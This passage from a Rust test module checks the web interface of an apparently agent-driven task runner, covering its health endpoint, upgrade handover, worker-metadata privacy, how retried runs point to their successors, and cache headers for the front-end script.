24577                disk_capacity_size(&home.path().join("nested/data/child")),
24578                None
24579            );
24580        }
24581        #[cfg(unix)]
24582        {
24583            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24584            assert_eq!(disk_capacity_size(home.path()), Some(5));
24585        }
24586    }
24587
24588    #[tokio::test]
24589    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24590        // `mode = "off"` for the same reason as the test above: a default
24591        // fixture repo falls back to `mode = "notify"`, which would make this
24592        // route's new `update` field a live, unauthenticated GitHub call on
24593        // every assertion in this suite that happens to hit `/api/health`.
24594        let repo = TempDir::new().expect("repo dir");
24595        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24596            .expect("write magi.toml");
24597        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24598
24599        let health = fx.get("/api/health").await.json();
24600        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24601        assert_eq!(
24602            health["update"]["available"], false,
24603            "checking is off, which reads as \"unknown\", not \"none\""
24604        );
24605        assert!(health["update"]["to"].is_null());
24606        assert!(
24607            health["upgrade"].is_null(),
24608            "nothing has ever asked this deck to upgrade"
24609        );
24610    }
24611
24612    #[tokio::test]
24613    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24614        let fx = Fixture::start().await;
24615        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24616
24617        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24618        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24619        progress.advance(crate::updater::Stage::Parking);
24620        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24621
24622        let health = fx.get("/api/health").await.json();
24623        assert_eq!(health["upgrade"]["stage"], "parking");
24624        assert_eq!(health["upgrade"]["from"], "0.5.1");
24625        assert_eq!(health["upgrade"]["to"], "0.5.2");
24626        let waiting_on = health["upgrade"]["waiting_on"]
24627            .as_str()
24628            .expect("waiting_on is set while parking a known run");
24629        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24630        assert!(waiting_on.contains("implementing"), "{waiting_on}");
24631    }
24632
24633    #[tokio::test]
24634    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24635        let fx = Fixture::start().await;
24636        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24637        progress.advance(crate::updater::Stage::Done);
24638        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24639
24640        let health = fx.get("/api/health").await.json();
24641        assert_eq!(health["upgrade"]["stage"], "done");
24642        assert!(
24643            health["upgrade"]["waiting_on"].is_null(),
24644            "nothing to wait on once it is done"
24645        );
24646    }
24647
24648    /// The handover signal is seen however the race falls, and wakes its one
24649    /// waiter once per signal - nothing here can spin.
24650    #[tokio::test]
24651    async fn the_handover_signal_wakes_one_waiter_once() {
24652        let signal = Notify::new();
24653        // Signalled before anyone waits: the stored permit is not lost.
24654        signal.notify_one();
24655        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24656            .await
24657            .expect("an early signal is still seen");
24658        // One signal, one wake-up: a second wait does not resolve by itself.
24659        assert!(
24660            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24661                .await
24662                .is_err(),
24663            "a consumed signal must not wake a second time"
24664        );
24665        // Signalled while waiting.
24666        let signal = std::sync::Arc::new(signal);
24667        let waiter = tokio::spawn({
24668            let signal = std::sync::Arc::clone(&signal);
24669            async move { wait_for_handover(&signal).await }
24670        });
24671        tokio::time::sleep(Duration::from_millis(20)).await;
24672        assert!(!waiter.is_finished(), "nothing was signalled yet");
24673        signal.notify_one();
24674        tokio::time::timeout(Duration::from_secs(5), waiter)
24675            .await
24676            .expect("a late signal wakes the waiter")
24677            .expect("join");
24678    }
24679
24680    #[tokio::test]
24681    async fn health_says_how_long_a_handover_has_been_stuck() {
24682        let fx = Fixture::start().await;
24683        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24684        progress.advance(crate::updater::Stage::Replaced);
24685        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24686        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24687
24688        let health = fx.get("/api/health").await.json();
24689        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24690        assert!(stuck >= 600, "{stuck}");
24691        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24692        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24693    }
24694
24695    #[tokio::test]
24696    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24697        let home = tempfile::tempdir().expect("temp home");
24698        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24699        progress.advance(crate::updater::Stage::Parking);
24700        crate::updater::write_progress(home.path(), &progress).expect("seed");
24701        // What the second upgrade_and_restart and its handler do.
24702        let mut again = progress.clone();
24703        again.advance(crate::updater::Stage::Replaced);
24704        crate::updater::write_progress(home.path(), &again).expect("replaced");
24705        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24706        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24707        let after = crate::updater::read_progress(home.path()).expect("record");
24708        assert_eq!(after.stage, crate::updater::Stage::Parking);
24709    }
24710
24711    #[tokio::test]
24712    async fn health_does_not_call_a_live_parking_wait_stuck() {
24713        let fx = Fixture::start().await;
24714        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24715        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24716        progress.advance(crate::updater::Stage::Parking);
24717        let hours = Duration::from_secs(3 * 3600);
24718        progress.started_at = Timestamp::now() - hours;
24719        progress.updated_at = Timestamp::now() - hours;
24720        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24721        let _lease = crate::updater::LeaseGuard::enter(
24722            fx.home.path(),
24723            Some("20260905-000000-cd51".to_owned()),
24724        );
24725
24726        let health = fx.get("/api/health").await.json();
24727        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24728        assert!(health["upgrade"]["stuck_kind"].is_null());
24729        assert_eq!(health["upgrade"]["handover_alive"], true);
24730        let waiting_on = health["upgrade"]["waiting_on"]
24731            .as_str()
24732            .expect("waiting_on");
24733        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24734    }
24735
24736    fn idle_ui(home: &TempDir) -> Ui {
24737        let runs = home.path().join("runs");
24738        std::fs::create_dir_all(&runs).expect("runs dir");
24739        Ui::new(
24740            Queue::at(home.path().join("queue")),
24741            Questions::at(home.path().join("questions")),
24742            Talks::at(home.path().join("talks")),
24743            runs,
24744            home.path().to_path_buf(),
24745            PathBuf::from("/repo/magi"),
24746        )
24747        .with_launch(launch_idle)
24748    }
24749
24750    #[tokio::test]
24751    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24752        let home = TempDir::new().expect("temp home");
24753        let ui = idle_ui(&home);
24754        let lease = crate::worker::try_lease(home.path(), "scheduler")
24755            .expect("scheduler lease")
24756            .expect("free");
24757        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24758            .expect("request stop");
24759        let error = ui
24760            .start_detached_loop()
24761            .await
24762            .expect_err("transition is still live");
24763        assert_eq!(error.status, StatusCode::CONFLICT);
24764        assert!(error.message.contains("still running or stopping"));
24765        assert_eq!(
24766            crate::worker::control(home.path(), "scheduler").unwrap(),
24767            Some(crate::worker::Control::Stop)
24768        );
24769        drop(lease);
24770    }
24771
24772    #[tokio::test]
24773    async fn handover_releases_listener_without_waiting_for_execution_leases() {
24774        let home = TempDir::new().expect("temp home");
24775        let ui = idle_ui(&home);
24776        let turns = ui
24777            .begin_talk_turn("active-chat")
24778            .expect("claim")
24779            .expect("free");
24780        let execution = crate::worker::try_lease(home.path(), "active-task")
24781            .expect("execution lease")
24782            .expect("free");
24783        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24784            .await
24785            .expect("bind loopback");
24786        let address = listener.local_addr().expect("address");
24787        let admissions = Arc::clone(&ui.admissions);
24788        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24789        let successor_started = std::sync::atomic::AtomicBool::new(false);
24790        tokio::time::timeout(
24791            Duration::from_secs(2),
24792            hand_over(home.path(), &admissions, served, || {
24793                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24794                Ok(1)
24795            }),
24796        )
24797        .await
24798        .expect("restart must not wait for execution")
24799        .expect("handover");
24800        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24801        // BSD may retain the address briefly after listener release. The real
24802        // successor uses the same bounded bind retry rather than a one-shot bind.
24803        let successor = bind_waiting(address)
24804            .await
24805            .expect("successor binds released address");
24806        assert_eq!(successor.local_addr().unwrap(), address);
24807        assert!(turns.owns(), "the chat lease survives restart");
24808        assert!(
24809            crate::worker::try_lease(home.path(), "active-task")
24810                .unwrap()
24811                .is_none()
24812        );
24813        drop(execution);
24814        drop(turns);
24815    }
24816
24817    #[tokio::test]
24818    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24819        let home = TempDir::new().expect("temp home");
24820        let ui = idle_ui(&home);
24821        let admission = ui.begin_admission().expect("admit send");
24822        let turn = ui
24823            .begin_talk_turn("active-chat")
24824            .expect("claim")
24825            .expect("free");
24826        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24827            .await
24828            .expect("bind loopback");
24829        let address = listener.local_addr().expect("address");
24830        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24831        let successor_called = std::sync::atomic::AtomicBool::new(false);
24832        let handover = hand_over(home.path(), &ui.admissions, served, || {
24833            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24834            Ok(1)
24835        });
24836        tokio::pin!(handover);
24837        // Poll exactly to the writer waiting on our admission guard. This
24838        // pins the race without sleeps or assumptions about task scheduling.
24839        std::future::poll_fn(|cx| {
24840            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24841            std::task::Poll::Ready(())
24842        })
24843        .await;
24844        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24845        assert!(
24846            ui.begin_admission().is_err(),
24847            "new ingress cannot race the drain"
24848        );
24849        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24850        drop(admission);
24851        tokio::time::timeout(Duration::from_secs(2), handover)
24852            .await
24853            .expect("only publication may delay restart")
24854            .expect("handover");
24855        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24856        assert!(
24857            turn.owns(),
24858            "the detached chat turn is not awaited or cancelled"
24859        );
24860        assert!(
24861            ui.begin_admission().is_err(),
24862            "old accepted connections stay closed"
24863        );
24864        drop(turn);
24865    }
24866
24867    #[test]
24868    fn health_worker_metadata_never_contains_payload_or_result() {
24869        let view = WorkerView::from(crate::worker::Job {
24870            id: "job".into(),
24871            sequence: 1,
24872            kind: "service".into(),
24873            key: "maintenance".into(),
24874            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24875            generation: "generation".into(),
24876            version: Some("1.2.3".into()),
24877            status: crate::worker::Status::Running,
24878            result: Some("private diagnostics".into()),
24879            pid: Some(4242),
24880            created_at: 1,
24881            finished_at: None,
24882        });
24883        let value = serde_json::to_value(view).expect("serialize public metadata");
24884        assert_eq!(value["version"], "1.2.3");
24885        assert_eq!(value["pid"], 4242);
24886        assert!(value.get("payload").is_none());
24887        assert!(value.get("result").is_none());
24888        assert!(!value.to_string().contains("private"));
24889    }
24890
24891    #[test]
24892    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24893        let home = TempDir::new().expect("temp home");
24894        let ui = idle_ui(&home);
24895        std::fs::write(
24896            home.path().join("daemon.json"),
24897            serde_json::json!({
24898                "schema": 2, "pid": 4242, "worker_protocol": 1,
24899                "updated_at": Timestamp::now().to_string(), "idle": true,
24900            })
24901            .to_string(),
24902        )
24903        .expect("status");
24904        let reading = daemon::read_status(home.path());
24905        assert!(Foreign::of(reading.as_ref()).is_none());
24906        let view = ui.runtime_loop_view(reading, &[]);
24907        assert!(view.running);
24908        assert!(view.owned);
24909    }
24910
24911    #[test]
24912    fn only_an_explicit_one_requests_a_resume() {
24913        assert!(!resume_requested(None));
24914        assert!(!resume_requested(Some("0".into())));
24915        assert!(!resume_requested(Some("".into())));
24916        assert!(resume_requested(Some("1".into())));
24917    }
24918
24919    #[test]
24920    fn an_error_is_visible_from_where_the_button_is() {
24921        // The alert used to sit in the flow under the header. On a phone
24922        // scrolled 13 500 px down to a run's action sheet that is off screen,
24923        // so tapping Resume and being told "the loop is running run b455
24924        // right now" looked exactly like a button that did nothing.
24925        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24926            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24927        assert!(
24928            alert.contains("position: fixed"),
24929            "an error about the thing under your thumb has to be visible from \
24930             where your thumb is: {alert}"
24931        );
24932        assert!(
24933            alert.contains("z-index: 25"),
24934            "above the dock (20) and the run-actions FAB (15), so neither \
24935             buries it: {alert}"
24936        );
24937        assert!(
24938            alert.contains("var(--tap)"),
24939            "and clear of the dock and the home indicator: {alert}"
24940        );
24941        // The FAB sits at the same height on the right. An error that covered
24942        // it would hide the button the operator reaches for next.
24943        assert!(
24944            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24945            "the FAB's column stays free: {alert}"
24946        );
24947    }
24948
24949    #[tokio::test]
24950    async fn an_older_attempt_says_what_replaced_it() {
24951        let fx = Fixture::start().await;
24952        let q = fx.queue();
24953        let runs = fx.runs();
24954        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24955        write_run(&runs, first, RunStatus::Stalled);
24956        write_run(&runs, second, RunStatus::Blocked);
24957
24958        let mut t = Task::new(
24959            "one task".to_owned(),
24960            "do it".to_owned(),
24961            PathBuf::from("/repo"),
24962            Source::Human,
24963        );
24964        t.runs = vec![first.to_owned(), second.to_owned()];
24965        q.put(&mut t).expect("put");
24966
24967        // Two cards with the same title and no hint which is which was the
24968        // question: "why are there two of the same, one stalled and one
24969        // blocked?" The older one now names its replacement.
24970        let rows = fx.get("/api/runs").await.json();
24971        let by = |short: &str| -> Value {
24972            rows.as_array()
24973                .unwrap()
24974                .iter()
24975                .find(|r| r["short"] == short)
24976                .cloned()
24977                .unwrap_or(Value::Null)
24978        };
24979        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24980        assert!(
24981            by("bbbb")["superseded_by"].is_null(),
24982            "the latest attempt is not superseded by anything"
24983        );
24984        // Front end: the note has to be rendered, not just carried.
24985        assert!(APP_JS.contains("run.superseded_by"));
24986        assert!(APP_JS.contains("Superseded by"));
24987    }
24988
24989    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24990        let mut t = Task::new(
24991            "one task".to_owned(),
24992            "do it".to_owned(),
24993            PathBuf::from("/repo"),
24994            Source::Human,
24995        );
24996        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24997        t.status = status;
24998        t
24999    }
25000
25001    #[test]
25002    fn source_link_picks_the_page_that_filed_the_task() {
25003        let agent = |node: &str| Source::Agent {
25004            run: "20260904-014455-ab12".to_owned(),
25005            node: node.to_owned(),
25006        };
25007        let chat = source_link(&agent("chat")).expect("chat link");
25008        assert_eq!(chat.kind, "chat");
25009        assert_eq!(chat.id, "20260904-014455-ab12");
25010        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
25011        let run = source_link(&agent("implement")).expect("run link");
25012        assert_eq!(
25013            (run.kind, run.href.as_str()),
25014            ("run", "#/runs/20260904-014455-ab12")
25015        );
25016        assert_eq!(source_link(&Source::Human), None);
25017        assert_eq!(
25018            source_link(&Source::Issue {
25019                number: 3,
25020                repo: "o/r".to_owned()
25021            }),
25022            None
25023        );
25024        let odd = source_link(&Source::Agent {
25025            run: "a b/c".to_owned(),
25026            node: "chat".to_owned(),
25027        })
25028        .expect("link");
25029        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
25030    }
25031
25032    #[test]
25033    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
25034        assert!(
25035            !APP_JS.contains("src.node === \"chat\""),
25036            "inline href rule is back"
25037        );
25038        assert!(
25039            APP_JS.matches("sourceLinkOf(").count() >= 4,
25040            "helper must serve every page"
25041        );
25042        assert!(
25043            APP_JS.matches("openChatLink(").count() >= 3,
25044            "the run page still needs its explicit chat link"
25045        );
25046        assert!(
25047            !APP_JS.contains("const openChat = el("),
25048            "the Queue card duplicates its source label link again"
25049        );
25050        assert!(
25051            APP_JS.contains("metaKids.push(link ? el(\"a\""),
25052            "the task page must link a chat source label too"
25053        );
25054    }
25055
25056    #[test]
25057    fn task_ref_carries_the_source_link_for_a_chat_task() {
25058        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25059        t.source = Source::Agent {
25060            run: "20260904-014455-ab12".to_owned(),
25061            node: "chat".to_owned(),
25062        };
25063        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
25064        let v = serde_json::to_value(&out).expect("json");
25065        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
25066        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
25067        assert_eq!(v["source_label"], t.source.label());
25068
25069        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25070        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
25071            .expect("json");
25072        assert!(v["source_link"].is_null(), "{v}");
25073    }
25074
25075    #[test]
25076    fn task_view_serializes_source_link() {
25077        let mut t = Task::new(
25078            "t".to_owned(),
25079            "t".to_owned(),
25080            PathBuf::from("/repo"),
25081            Source::Agent {
25082                run: "20260901-000000-aaaa".to_owned(),
25083                node: "implement".to_owned(),
25084            },
25085        );
25086        t.runs.clear();
25087        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25088        assert_eq!(v["source_link"]["kind"], "run", "{v}");
25089        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
25090    }
25091
25092    #[test]
25093    fn task_view_serializes_urgent_flag() {
25094        let mut t = Task::new(
25095            "t".to_owned(),
25096            "t".to_owned(),
25097            PathBuf::from("/repo"),
25098            Source::Human,
25099        );
25100        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25101        assert_eq!(v["urgent"], false, "{v}");
25102        t.urgent = true;
25103        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25104        assert_eq!(v["urgent"], true, "{v}");
25105        assert!(APP_JS.contains("task.urgent === true"));
25106    }
25107
25108    #[tokio::test]
25109    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
25110        let fx = Fixture::start().await;
25111        let runs = fx.runs();
25112        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25113        write_run(&runs, old, RunStatus::Blocked);
25114        write_run(&runs, new, RunStatus::Merged);
25115        let mut t = outcome_task(&[old, new], TaskStatus::Done);
25116        fx.queue().put(&mut t).expect("put");
25117
25118        let view = fx.get(&format!("/api/runs/{old}")).await.json();
25119        let task = &view["task"];
25120        assert_eq!(task["status"], "done");
25121        assert_eq!(task["is_latest"], false);
25122        assert_eq!(task["latest"]["short"], "bbbb");
25123        assert_eq!(task["finished_by"]["id"], new);
25124        assert_eq!(task["finished_by"]["outcome"], "merged");
25125        assert_eq!(task["closed_by_hand"], false);
25126        assert_eq!(view["status"], "blocked", "the run keeps its own status");
25127        assert!(APP_JS.contains("finished_by"));
25128        assert!(APP_JS.contains("superseded by run"));
25129    }
25130
25131    #[tokio::test]
25132    async fn the_latest_run_reports_a_held_task_without_a_successor() {
25133        let fx = Fixture::start().await;
25134        let runs = fx.runs();
25135        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25136        write_run(&runs, old, RunStatus::Stalled);
25137        write_run(&runs, new, RunStatus::Blocked);
25138        let mut t = outcome_task(&[old, new], TaskStatus::Held);
25139        fx.queue().put(&mut t).expect("put");
25140
25141        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
25142        assert_eq!(task["status"], "held");
25143        assert_eq!(task["is_latest"], true);
25144        assert!(task["latest"].is_null());
25145        assert!(task["finished_by"].is_null());
25146        assert_eq!(task["closed_by_hand"], false);
25147    }
25148
25149    #[tokio::test]
25150    async fn a_direct_run_has_no_task_outcome() {
25151        let fx = Fixture::start().await;
25152        let runs = fx.runs();
25153        let id = "20260901-000000-aaaa";
25154        write_run(&runs, id, RunStatus::Blocked);
25155        let view = fx.get(&format!("/api/runs/{id}")).await.json();
25156        assert!(view["task"].is_null());
25157    }
25158
25159    #[test]
25160    fn task_outcome_does_not_guess_a_finishing_run() {
25161        let a = "20260901-000000-aaaa";
25162        let b = "20260901-000000-bbbb";
25163        let c = "20260901-000000-cccc";
25164        let dir = tempfile::tempdir().expect("tempdir");
25165        write_run(dir.path(), a, RunStatus::Blocked);
25166        write_run(dir.path(), b, RunStatus::VerifiedNoop);
25167        // `c` has no record: unreadable.
25168        let read = |id: &str| read_run(dir.path(), id).ok();
25169        // Neither a blocked run nor a no-op finished the task; the newest run is
25170        // unreadable and still named.
25171        let t = outcome_task(&[a, b, c], TaskStatus::Done);
25172        let out = task_outcome(&t, a, 3, read);
25173        assert!(out.finished_by.is_none());
25174        assert!(out.closed_by_hand);
25175        let latest = out.latest.expect("latest");
25176        assert_eq!(latest.id, c);
25177        assert_eq!(latest.status, None);
25178        assert_eq!(latest.outcome, "record unreadable");
25179
25180        // A Ready run settles the task as done, so it is named as the finisher.
25181        write_run(dir.path(), c, RunStatus::Ready);
25182        let t = outcome_task(&[a, c], TaskStatus::Done);
25183        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
25184        assert_eq!(out.finished_by.expect("finisher").id, c);
25185        assert!(!out.closed_by_hand);
25186
25187        // A resumed run id repeats: it is still the latest by id.
25188        let t = outcome_task(&[a, b, a], TaskStatus::Held);
25189        assert!(task_outcome(&t, a, 3, read).is_latest);
25190    }
25191
25192    #[tokio::test]
25193    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
25194        // The list route has known this since the card fix above; the detail
25195        // route — what an operator actually opens from a notification about
25196        // a blocked run — did not, and went on showing a bare red BLOCKED
25197        // chip for a run a retry had already finished.
25198        let fx = Fixture::start().await;
25199        let q = fx.queue();
25200        let runs = fx.runs();
25201        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
25202        write_run(&runs, first, RunStatus::Blocked);
25203        write_run(&runs, second, RunStatus::Merged);
25204
25205        let mut t = Task::new(
25206            "one task".to_owned(),
25207            "do it".to_owned(),
25208            PathBuf::from("/repo"),
25209            Source::Human,
25210        );
25211        t.runs = vec![first.to_owned(), second.to_owned()];
25212        q.put(&mut t).expect("put");
25213
25214        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
25215        assert_eq!(earlier["superseded_by"], "dddd");
25216        assert_eq!(earlier["latest_attempt"]["id"], second);
25217        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
25218        assert_eq!(
25219            earlier["latest_attempt"]["resolved"], true,
25220            "the run that replaced it landed, so this one reads as settled"
25221        );
25222
25223        let later = fx.get(&format!("/api/runs/{second}")).await.json();
25224        assert!(
25225            later["superseded_by"].is_null(),
25226            "the latest attempt is not superseded by anything"
25227        );
25228        assert!(
25229            later["latest_attempt"].is_null(),
25230            "the latest attempt has no later attempt of its own"
25231        );
25232
25233        // Front end: the detail page has to read the field this route now
25234        // carries, downgrade the chip, and link to the run that replaced it —
25235        // not just repeat the list card's own logic under a different name.
25236        // The link is built off `latest_attempt.id`, the server-resolved
25237        // full id, never a bare short string a client would have to guess a
25238        // full run from.
25239        assert!(APP_JS.contains("run.latest_attempt"));
25240        assert!(APP_JS.contains("data-superseded"));
25241        assert!(APP_JS.contains("#/runs/${latest.id}"));
25242    }
25243
25244    #[tokio::test]
25245    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
25246        // A -> B -> C, all Blocked except the last. A's immediate successor
25247        // (superseded_by) is B, which is itself unresolved; what an operator
25248        // opening A's page actually needs is where the task's story stands
25249        // *now* - C, not B - without depending on whether C happens to be in
25250        // whatever page of /api/runs the client last cached.
25251        let fx = Fixture::start().await;
25252        let q = fx.queue();
25253        let runs = fx.runs();
25254        let (a, b, c) = (
25255            "20260901-000000-aaaa",
25256            "20260901-000000-bbbb",
25257            "20260901-000000-cccc",
25258        );
25259        write_run(&runs, a, RunStatus::Blocked);
25260        write_run(&runs, b, RunStatus::Blocked);
25261        write_run(&runs, c, RunStatus::Merged);
25262
25263        let mut t = Task::new(
25264            "retried twice".to_owned(),
25265            "do it".to_owned(),
25266            PathBuf::from("/repo"),
25267            Source::Human,
25268        );
25269        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
25270        q.put(&mut t).expect("put");
25271
25272        let view = fx.get(&format!("/api/runs/{a}")).await.json();
25273        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
25274        assert_eq!(
25275            view["latest_attempt"]["id"], c,
25276            "the chain's current head, not the intermediate Blocked retry"
25277        );
25278        assert_eq!(view["latest_attempt"]["resolved"], true);
25279
25280        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
25281        assert_eq!(mid["latest_attempt"]["id"], c);
25282        assert_eq!(mid["latest_attempt"]["resolved"], true);
25283    }
25284
25285    #[tokio::test]
25286    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
25287        let fx = Fixture::start().await;
25288        let q = fx.queue();
25289        let runs = fx.runs();
25290
25291        // Still Blocked: the task is not resolved, so the older run must not
25292        // read as settled either.
25293        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
25294        write_run(&runs, still_blocked_a, RunStatus::Blocked);
25295        write_run(&runs, still_blocked_b, RunStatus::Blocked);
25296        let mut t1 = Task::new(
25297            "still stuck".to_owned(),
25298            "do it".to_owned(),
25299            PathBuf::from("/repo"),
25300            Source::Human,
25301        );
25302        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
25303        q.put(&mut t1).expect("put");
25304        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
25305        assert_eq!(view1["latest_attempt"]["resolved"], false);
25306        assert_eq!(view1["latest_attempt"]["status"], "blocked");
25307        assert_eq!(view1["latest_attempt"]["done"], true);
25308
25309        // Still running: the successor exists and must be reported as such.
25310        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
25311        write_run(&runs, run_a, RunStatus::Blocked);
25312        write_run(&runs, run_b, RunStatus::Implementing);
25313        let mut t3 = Task::new(
25314            "retrying".to_owned(),
25315            "do it".to_owned(),
25316            PathBuf::from("/repo"),
25317            Source::Human,
25318        );
25319        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25320        q.put(&mut t3).expect("put");
25321        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25322        assert_eq!(view3["latest_attempt"]["id"], run_b);
25323        assert_eq!(view3["latest_attempt"]["resolved"], false);
25324        assert_eq!(view3["latest_attempt"]["done"], false);
25325
25326        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
25327        // to check - not a confirmed finish, so this must not read as
25328        // resolved either, even though the run is done in the sense that
25329        // nothing is still running.
25330        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25331        write_run(&runs, noop_a, RunStatus::Blocked);
25332        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25333        let mut t2 = Task::new(
25334            "claims done".to_owned(),
25335            "do it".to_owned(),
25336            PathBuf::from("/repo"),
25337            Source::Human,
25338        );
25339        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25340        q.put(&mut t2).expect("put");
25341        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25342        assert_eq!(
25343            view2["latest_attempt"]["resolved"], false,
25344            "an unverified no-op claim must not read as a confirmed finish"
25345        );
25346
25347        // Front end: an unresolved successor must not carry the "finished
25348        // this work" note or the muted chip treatment.
25349        assert!(APP_JS.contains("latest.resolved"));
25350        // ...but the link to it shows as soon as it exists, labelled by state
25351        // and without the "finished" wording or the muted chip.
25352        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25353        assert!(APP_JS.contains("Latest attempt: "));
25354        assert!(APP_JS.contains("in flight"));
25355        assert!(APP_JS.contains("not resolved"));
25356    }
25357
25358    #[tokio::test]
25359    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25360        let fx = Fixture::start().await;
25361        // No cache header at all meant browsers invented their own policy,
25362        // and one did: a phone went on showing "Candidates must be folded
25363        // before deleting. Run `magi fold` first." - deleted two releases
25364        // earlier - from a deck that no longer contained the sentence. The
25365        // button it named was right there, and unreachable.
25366        let js = fx.get("/app.js").await;
25367        assert_eq!(js.status, 200);
25368        let tag = js
25369            .header("etag")
25370            .expect("an etag to revalidate against")
25371            .to_owned();
25372        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25373        assert_eq!(
25374            js.header("cache-control"),
25375            Some("no-cache, must-revalidate"),
25376            "the phone has to ask every time"
25377        );
25378
25379        // And the asking has to be cheap, or `must-revalidate` just means
25380        // "send the whole interface on every load".
25381        let again = fx
25382            .get_with("/app.js", &[("if-none-match", tag.as_str())])
25383            .await;
25384        assert_eq!(
25385            again.status, 304,
25386            "a deck it already has costs one round trip"
25387        );
25388        assert!(again.body.is_empty(), "304 carries no body");
25389
25390        // A weakened tag from a proxy still matches; a different build does
25391        // not, which is the case that has to deliver the new interface.
25392        let weak = fx
25393            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25394            .await;
